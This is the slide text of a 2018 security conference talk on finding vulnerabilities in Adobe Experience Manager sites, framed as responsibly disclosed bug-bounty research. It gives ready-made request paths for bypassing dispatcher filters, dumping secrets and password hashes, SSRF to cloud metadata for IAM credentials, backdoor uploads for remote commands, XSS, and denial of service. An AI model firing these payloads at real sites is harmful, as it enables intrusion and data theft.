Abstract image of a woman sitting on books and studying on a laptop

Hunting for security bugs in AEM webapps

Mikhail Egorov, profile picture
Mikhail Egorov

The document discusses security vulnerabilities in Adobe Experience Manager (AEM) and outlines the methods for exploiting these weaknesses, particularly through AEM's dispatcher and various servlets. It highlights the common misconfigurations by AEM administrators, which often leave critical components insecure and susceptible to attacks, including unauthorized access to sensitive information stored in the JCR repository. The presentation also shares examples of practical exploitation techniques and the potential consequences of these security flaws.

Internet
1 of 110
Downloaded 208 times
1
2
3
Most read
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Most read
45
46
47
48
49
50
51
52
53
54
55
Most read
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
Hunting for in AEM webapps Mikhail Egorov @0ang3el Budapest 2018
Mikhail Egorov, @0ang3el • Security researcher • Bug hunter (Bugcrowd, H1) • In Top 20 on Bugcrowd • Conference speaker • Hack In The Box • Troopers • ZeroNights • PHDays • https://twitter.com/0ang3el • https://www.slideshare.net/0ang3el • https://speakerdeck.com/0ang3el • https://github.com/0ang3el
Why this talk • AEM is an enterprise-grade CMS • AEM is widely used by high-profile companies! 3/110
Why this talk Companies that use AEM and has public Bug bounty or Vulnerability disclosure programs 4/110
Why this talk • Using whatruns.com I grabbed 9985 unique domains that use AEM • 5751 AEM installations were on https://domain-name or https://www.domain-name 5/110
Why this talk • AEM is big and complex => room for security bugs! • 26 known CVEs • Based on open source projects • Apache Felix • Apache Sling • Apache OAK JCR https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html 6/110
Why this talk • New tools and techniques • Details for fresh CVEs 7/110 Kudos to Jason Meyer (@zaptechsol)
Previous work • PHDays 2015, @0ang3el • https://www.slideshare.net/0ang3el/hacking-aem-sites 8/110
Previous work • 2016, @darkarnium • http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote- Code-Execution-Write-Up.html 9/110
Previous work • SEC-T 2018, @fransrosen • https://speakerdeck.com/fransrosen/a-story-of-the-passive- aggressive-sysadmin-of-aem 10/110
Previous work • 2018, @JonathanBoumanium • https://medium.com/@jonathanbouman/reflected-xss-at-philips-com- e48bf8f9cd3c 11/110
All mentioned vulnerabilities were reported to resource owners or Adobe PSIRT and are fixed!!!
AEM deployment and AEM dispatcher bypasses
Common AEM deployment https://aemcorner.com/aem-common-deploy-models/ Main blocks: • Author AEM instance • Publish AEM instance • AEM dispatcher (~WAF) Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? 14/110
AEM Dispatcher • Module for Web Server (Apache, IIS) • https://www.adobeaemcloud.com/content/companies/public/adobe/dispatcher/dispatcher. html • Provides security (~WAF) and caching layers 15/110
AEM Dispatcher • In theory … a front end system offers an extra layer of security to your Adobe Experience Manager infrastructure • In practice … it’s the only security layer!!! • Admins rarely keep all components on Publish updated and securely configured 16/110
AEM Dispatcher • Dispatcher bypasses allow to talk to those “insecure” components … and have LULZ 17/110
AEM Dispatcher bypasses • CVE-2016-0957 • New bypass technique(no details for now – not fixed ) • Add multiple slashes • SSRF • … 18/110
Using CVE-2016-0957 /filter { # Deny everything first and then allow specific entries /0001 { /type "deny" /glob "*" } /0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only /0041 { /type "allow" /url "*.css" } # enable css /0042 { /type "allow" /url "*.gif" } # enable gifs /0043 { /type "allow" /url "*.ico" } # enable icos /0044 { /type "allow" /url "*.js" } # enable javascript /0045 { /type "allow" /url "*.png" } # enable png /0046 { /type "allow" /url "*.swf" } # enable flash /0047 { /type "allow" /url "*.jpg" } # enable jpg /0048 { /type "allow" /url "*.jpeg" } # enable jpeg /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization Policy dispatcher.any before CVE-2016-0957 19/110
Using CVE-2016-0957 # Deny content grabbing /0081 { /type "deny" /url "*.infinity.json" } /0082 { /type "deny" /url "*.tidy.json" } /0083 { /type "deny" /url "*.sysview.xml" } /0084 { /type "deny" /url "*.docview.json" } /0085 { /type "deny" /url "*.docview.xml" } /0086 { /type "deny" /url "*.*[0-9].json" } # Deny query (and additional selectors) /0090 { /type "deny" /url "*.query*.json" } } Policy dispatcher.any before CVE-2016-0957 20/110
Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.html https://aemsite/bin/querybuilder.json/a.ico https://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked Allowed 21/110
Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css /0090 { /type "deny" /url "*.query*.json" } Last rule that matches the request is applied and has deny type! ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked 22/110
Using CVE-2016-0957 https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.css /0041 { /type "allow" /url "*.css" } # enable css Last rule that matches the request is applied and has allow type! ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Allowed 23/110
New bypass technique /filter { # Deny everything first and then allow specific entries /0001 { /type "deny" /glob "*" } # Allow non-public content directories /0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only # Enable extensions in non-public content directories, using a regular expression /0041 { /type "allow" /extension '(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)’ } Policy dispatcher.any after CVE-2016-0957 24/110
New bypass technique # Enable features /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization # Deny content grabbing, on all accessible pages, using regular expressions /0081 { /type "deny" /selectors '((sys|doc)view|query|[0-9-]+)’ /extension '(json|xml)’ } Policy dispatcher.any after CVE-2016-0957 25/110
New bypass technique # Deny content grabbing for /content /0082 { /type "deny" /path "/content" /selectors '(feed|rss|pages|languages|blueprint|infinity|tidy)’ /extension '(json|xml|html)’ } } Policy dispatcher.any after CVE-2016-0957 26/110
New bypass technique https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json;%0aa.css Blocked 27/110 Sorry, details will be disclosed later!
Add multiple slashes • ///etc.json instead of /etc.json • ///bin///querybuilder.json instead of /bin/querybuilder.json 28/110
Using SSRF • We need SSRF in a component that is allowed by AEM dispatcher policy • Effective way to bypass AEM dispatcher! 29/110
Things to remember • Usually AEM dispatcher is the only security layer • Usually it’s easy to bypass AEM dispatcher • AEM admins usually fail to configure Publish instance securely and install updates timely … • Profit! 30/110
Quickly “sniff out” buggy AEM webapp
Get JSON with JCR node props /.json /.1.json /.childrenlist.json /.ext.json /.4.2.1...json /.json/a.css /.json/a.html /.json/a.png /.json/a.ico /.json;%0aa.css /content.json /content.1.json /content.childrenlist.json /content.ext.json /content.4.2.1...json /content.json/a.css /content.json/a.html /content.json/a.png /content.json/a.ico /content.json;%0aa.css /bin.json /bin.1.json /bin.childrenlist.json /bin.ext.json /bin.4.2.1...json /bin.json/a.css /bin.json/a.html /bin.json/a.png /bin.json/a.ico /bin.json;%0aa.css / /bin/content 32/110
Yea baby this is AEM https://<redacted>.twitter.com/.json https://<redacted>.twitter.com/.ext.json 33/110
Invoke servlets /system/sling/loginstatus.json /system/sling/loginstatus.css /system/sling/loginstatus.png /system/sling/loginstatus.gif /system/sling/loginstatus.html /system/sling/loginstatus.json/a.1.json /system/sling/loginstatus.json;%0aa.css /system/bgservlets/test.json /system/bgservlets/test.css /system/bgservlets/test.png /system/bgservlets/test.gif /system/bgservlets/test.html /system/bgservlets/test.json/a.1.json /system/bgservlets/test.json;%0aa.css /system/bgservlets/test/system/sling/loginstatus 34/110
Yea baby this is AEM https://<redacted>.adobe.com/system/sling/loginstatus.css https://www.<redacted>/system/bgservlets/test.json 35/110
Grabbing juicy data from JCR
What we can find • Everything is stored in JCR repository as node properties including: • Secrets (passwords, encryption keys, tokens) • Configuration • PII • Usernames 37/110
AEM servlets for grabbing loot • DefaultGetServlet • QueryBuilderJsonServlet • QueryBuilderFeedServlet • GQLSearchServlet • … 38/110
DefaultGetServlet • Allows to get JCR node with its props • Selectors • tidy • infinity • numeric value: -1, 0, 1 … 99999 • Formats • json • xml • res 39/110
DefaultGetServlet • Allows to get JCR node with its props • Selectors • tidy • infinity • numeric value: -1, 0, 1 … 99999 • Formats • json • xml • res good for retrieving files 40/110
DefaultGetServlet https://aem.site/.tidy.3.json jcr:root selector tidy selector depth output format Get JCR nodes with props starting from jcr:root with depth 3 and return formatted JSON 41/110
DefaultGetServlet – How to grab • Get node names, start from jcr:root • /.1.json • /.ext.json • /.childrenlist.json • Or guess node names: /content, /home, /var, /etc • Dump props for each child node of jcr:root • /content.json or /content.5.json or /content.-1.json 42/110
DefaultGetServlet – What to grab • Interesting nodes • /etc – may contain secrets (passwords, enc. keys, …) • /apps/system/config or /apps/<smth>/config (passwords, …) • /var – may contain private information (PII) • /home – password hashes, PII • Interesting props – contain AEM users names • jcr:createdBy • jcr:lastModifiedBy • cq:LastModifiedBy 43/110
P1 submission for private BB program - AEM webapp reveals DB passwords /apps/<redacted>/config.author.tidy.1..json/a.ico DefaultGetServlet – In the wild 44/110
• We can search JCR using different predicates • https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder- predicate-reference.html • QueryBuilderJsonServlet allows to get Nodes and their Props (DefaultGetServlet on steroids) • QueryBuilderFeedServlet allows to get Nodes (no Props) • but we can use blind binary search for Props QueryBuilder: JsonServlet & FeedServlet 45/110
QueryBuilder: JsonServlet & FeedServlet ///bin///querybuilder.json ///bin///querybuilder.json.servlet ///bin///querybuilder.json/a.css ///bin///querybuilder.json.servlet/a.css ///bin///querybuilder.json/a.ico ///bin///querybuilder.json.servlet/a.ico ///bin///querybuilder.json;%0aa.css ///bin///querybuilder.json.servlet;%0aa.css ///bin///querybuilder.json/a.1.json ///bin///querybuilder.json.servlet/a.1.json ///bin///querybuilder.json.css ///bin///querybuilder.json.ico ///bin///querybuilder.json.html ///bin///querybuilder.json.png /bin/querybuilder.json ///bin///querybuilder.feed.servlet ///bin///querybuilder.feed.servlet/a.css ///bin///querybuilder.feed.servlet/a.ico ///bin///querybuilder.feed.servlet;%0aa.css ///bin///querybuilder.feed.servlet/a.1.json /bin/querybuilder.feed.servlet 46/110
Examples of useful searches • type=nt:file&nodename=*.zip • path=/home&p.hits=full&p.limit=-1 • hasPermission=jcr:write&path=/content • hasPermission=jcr:addChildNodes&path=/content • hasPermission=jcr:modifyProperties&path=/content • p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast ModifiedBy&property.operation=unequals&property.value=admin&type=n t%3abase&p.limit=1000 • path=/etc&path.flat=true&p.nodedepth=0 • path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1 47/110
Examples of useful searches type=nt:file&nodename=*.zip P1 submission for private BB – grab prod config for Author server 48/110
path=/home&p.hits=full&p.limit=-1 P1 submission for private BB – grab AEM users hashed passwords Examples of useful searches 49/110
Examples of useful searches hasPermission=jcr:write&path=/content P2 submission for Twitter BB – Persistent XSS with CSP bypass Root cause: • /content/usergenerated/etc/commerce/smartlists was writable for anon user • POST servlet was accessible for anon user 50/110
Examples of useful searches p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3al astModifiedBy&property.operation=unequals&property.value=admin& type=nt%3abase&p.limit=1000 AEM users names! 51/110
Examples of useful searches path=/etc&path.flat=true&p.nodedepth=0 path=/etc/cloudsettings&p.hits=full&p.nodedepth=-1 /etc.childrenlist.json /etc/cloudsettings.-1.json 52/110
GQLSearchServlet • GQL is a simple fulltext query language, similar to Lucene or Google queries • https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference- materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html • We can get Node names (not Props) • but we can use blind binary search for Props 53/110
GQLSearchServlet ///bin///wcm/search/gql.servlet.json ///bin///wcm/search/gql.json ///bin///wcm/search/gql.json/a.1.json ///bin///wcm/search/gql.json;%0aa.css ///bin///wcm/search/gql.json/a.css ///bin///wcm/search/gql.json/a.ico ///bin///wcm/search/gql.json/a.png ///bin///wcm/search/gql.json/a.html /bin/wcm/search/gql.servlet.json 54/110
GQLSearchServlet – examples of searches query=path:/etc%20type:base%20limit:..-1&pathPrefix= /etc.ext.infinity.json 55/110
Enum users & brute creds
Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users • admin • author • … 57/110
Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users • admin • author • … King of AEM Default password – admin 58/110
Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users • admin • author • … Has jcr:write for /content Default password – author 59/110
Brute creds • AEM supports basic auth, no bruteforce protection! • LoginStatusServlet – /system/sling/loginstatus.json VS 60/110
LoginStatusServlet ///system///sling/loginstatus.json ///system///sling/loginstatus.json/a.css ///system///sling/loginstatus.json/a.ico ////system///sling/loginstatus.json;%0aa.css ///system///sling/loginstatus.json/a.1.json ///system///sling/loginstatus.css ///system///sling/loginstatus.ico ///system///sling/loginstatus.png ///system///sling/loginstatus.html /system/sling/loginstatus.json 61/110
P1 submission for Adobe VDP – Default admin creds Bugs in the wild 62/110
P1 submission for LinkedIn VDP – Weak passwords for some AEM users Bugs in the wild 63/110
Getting code execution
Universal RCE variants • Uploading backdoor OSGI bundle • Requires admin and access to /system/console/bundles • https://github.com/0ang3el/aem-rce-bundle.git (works for AEM 6.2 or newer) • Uploading backdoor jsp script to /apps • Requires write access to /apps • Requires ability to invoke SlingPostServlet • https://sling.apache.org/documentation/getting-started/discover-sling-in-15-minutes.html • … 65/110
Generate skeleton for AEM bundle 66/110 mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate -DarchetypeGroupId=com.adobe.granite.archetypes -DarchetypeArtifactId=aem-project-archetype -DarchetypeVersion=11 -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate -DarchetypeGroupId=com.day.jcr.vault -DarchetypeArtifactId=multimodule-content-package-archetype -DarchetypeVersion=1.0.2 -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ For AEM 6.2 For AEM 5.6
Uploading backdoor bundle /bin/backdoor.html?cmd=ifconfig 67/110
GIF DEMOhttps://www.youtube.com/watch?v=DXBvZbz7Z1s
Uploading backdoor jsp script • Create node rcenode somewhere with property sling:resourceType=rcetype • Create node /apps/rcetype and upload html.jsp with payload to node • Open https://aem-site/rcenode.html?cmd=ifconfig and have LULZ • https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh 69/110
https://www.youtube.com/watch?v=RDFOt7r7VBk
Server Side Request Forgery
SSRF in ReportingServicesProxyServlet CVE-2018-12809 • Versions: 6.0, 6.1, 6.2, 6.3, 6.4 • Allows to see the response • Leak secrets (IAM creds), RXSS (bypasses XSS filters), bypass dispatcher • https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html /libs/cq/contentinsight/content/proxy.reportingservices.json /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet 72/110
SSRF in ReportingServicesProxyServlet /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a 73/110
SSRF in ReportingServicesProxyServlet P1 submission for private BB – Leak IAM role creds 74/110
SSRF in ReportingServicesProxyServlet P1 submission for private BB – Ex-filtrate secrets from /etc via SSRF 75/110
SSRF in ReportingServicesProxyServlet P2 submission for Adobe VDP – SSRF and RXSS 76/110
SSRF in SalesforceSecretServlet CVE-2018-5006 • Versions: 6.0, 6.1, 6.2, 6.3, 6.4 • Allows to see the response** • Leak secrets (IAM role creds), RXSS (bypasses XSS filters) • https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html /libs/mcm/salesforce/customer.json ** - Servlet makes POST request to URL 77/110
SSRF in SalesforceSecretServlet /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.html/a.1.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.json/a.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&co de=e /libs/mcm/salesforce/customer.json/a.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&c ode=e /libs/mcm/salesforce/customer.json/a.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&co de=e 78/110
SSRF in SalesforceSecretServlet P1 submission for Adobe VDP – Leak IAM role creds 79/110
SSRF in SalesforceSecretServlet P2 submission for private BB – SSRF and RXSS 80/110
SSRF in SiteCatalystServlet No CVE from Adobe PSIRT • Allows to blindly send POST requests • Allow to specify arbitrary HTTP headers via CRLF or LF injection • HTTP smuggling (works for Jetty) /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json 81/110
SSRF in SiteCatalystServlet 82/110
SSRF in SiteCatalystServlet /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy 83/110
SSRF in AutoProvisioningServlet No CVE from Adobe PSIRT • Allows to blindly send POST requests • Allow to inject arbitrary HTTP headers • HTTP smuggling (works for Jetty) /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json 84/110
SSRF in AutoProvisioningServlet 85/110
SSRF in AutoProvisioningServlet /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css 86/110
SSRF to RCE • It’s possible to escalate 2 SSRFs to RCE on Publish server • Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix pack • https://www.adobeaemcloud.com/content/marketplace/marketplaceProxy.html?pack agePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM- 6.2-SP1-CFP7 87/110
SSRF to RCE • Topology is used by replication mechanisms in AEM • https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html • https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html • To join Topology PUT request must be sent to TopologyConnectorServlet • TopologyConnectorServlet is accessible on localhost only (default) • Via SSRF with HTTP smuggling we can access TopologyConnectorServlet 88/110
SSRF to RCE • When node joins the topology Reverse replication agent is created automatically • Reverse replication agent replicates nodes from malicious AEM server to Publish server … RCE! 89/110
https://www.youtube.com/watch?v=awPJRIR47jo
<script> AEM XSS </script>
XSS variants • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 92/110
XSS variants • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response Persistent 93/110
• Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response XSS variants Reflected 94/110
XSS variants • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 95/110
SuggestionHandler servlet • /bin/wcm/contentfinder/connector/suggestions.json • Reflects pre parameter in JSON response • What if Content-Type of response is based on file extension in URL: • /a.html 96/110
XSS variants P3 submission for private BB – Reflected XSS /bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onloa d%3dalert(document.domain)%3E&post=yyyy 97/110
DoS attacks
DoS is easy • /.ext.infinity.json • /.ext.infinity.json?tidy=true • /bin/querybuilder.json?type=nt:base&p.limit=-1 • /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..- 1&pathPrefix= • /content.assetsearch.json?query=*&start=0&limit=10&random=123 • /..assetsearch.json?query=*&start=0&limit=10&random=123 • /system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=1111 11111 99/110
DoS is easy /content.ext.infinity.1..json?tidy=true 100/110
Other tricks
ExternalJobPostServlet javadeser • Old bug, affects AEM 5.5 – 6.1 • http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization- bug/ • /libs/dam/cloud/proxy.json • Parameter file accepts Java serialized stream and passes to ObjectInputStream.readObject() 102/110
ExternalJobPostServlet javadeser Payload from oisdos tool 103/110
ExternalJobPostServlet javadeser 104/110
XXE via webdav • Old bug, CVE-2015-1833 • It’s possible to read local files with PROPFIND/PROPPATCH • https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about- webdav 105/110
XXE via webdav – webdav support is on? • Send OPTIONS request • Allow headers in response contain webdav-related methods • Navigate to /crx/repository/test • 401 HTTP and WWW-Authenticate: Basic realm="Adobe CRX WebDAV" 106/110
AEM hacker toolset
